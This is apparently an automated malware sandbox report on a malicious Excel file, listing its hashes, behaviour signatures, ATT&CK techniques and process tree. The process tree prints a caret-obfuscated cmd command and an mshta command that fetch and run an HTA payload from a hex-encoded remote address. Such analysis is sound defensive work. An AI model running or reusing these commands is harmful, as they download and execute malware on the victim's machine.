Analysis

  • max time kernel
    126s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:47

General

  • Target

    file-110.xls

  • Size

    65KB

  • MD5

    0f0583a335e29cf6397316ea7c74e210

  • SHA1

    60ef9d24eb9ef6c102596d3fb0032c48edff7d5e

  • SHA256

    64fdccb41a13f3e7f28c0af35982bdff42ccf8c46ace6894a592ff566c10738c

  • SHA512

    f11d03df55eb3aa1c7e10275e898bd5083079f25467c0487e1b19fb2de816aeca5cf604ff11f82087b505d580bae4c61dab9c80037b774c801a33eb63cdc919a

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xc12a24f5/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\file-110.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1560
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xc12a24f5/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1560-55-0x000000002F741000-0x000000002F744000-memory.dmp
    Filesize

    12KB

  • memory/1560-56-0x0000000070DC1000-0x0000000070DC3000-memory.dmp
    Filesize

    8KB

  • memory/1560-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1560-58-0x0000000075D61000-0x0000000075D63000-memory.dmp
    Filesize

    8KB

  • memory/1560-60-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB